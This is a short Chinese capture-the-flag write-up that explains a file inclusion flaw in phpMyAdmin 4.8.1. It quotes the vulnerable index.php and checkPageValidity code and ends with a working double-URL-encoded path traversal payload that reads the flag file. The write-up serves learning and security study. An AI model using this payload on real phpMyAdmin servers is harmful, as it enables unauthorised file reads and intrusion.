我有一个数据库

访问页面/phpmyadmin/,没有密码,不过也没有表,找一下版本号4.8.1,找CVE打。

下载4.8.1的源码。由于找不到,直接把题目环境扒下来了。

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

看一下index.php的代码,当传入的 $_REQUEST['target']

  • 不为空

  • 是一个字符串

  • 不含有 index

  • 不包含import.phpexport.php

  • 通过checkPageValidity函数

进入core.php,查看代码

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

注意到最后$page的值又经过了一次url解码,当参数通过$_REQUEST方式传入时,已经经过了一次url解码,这里又进行了第二次解码后,可以直接利用二次编码?绕过(有意思的是这段代码某比赛专门出了一题CTF用来考),接着传入文件包含。

payload

?target=db_datadict.php%253f/../../../../../../../../flag

Last updated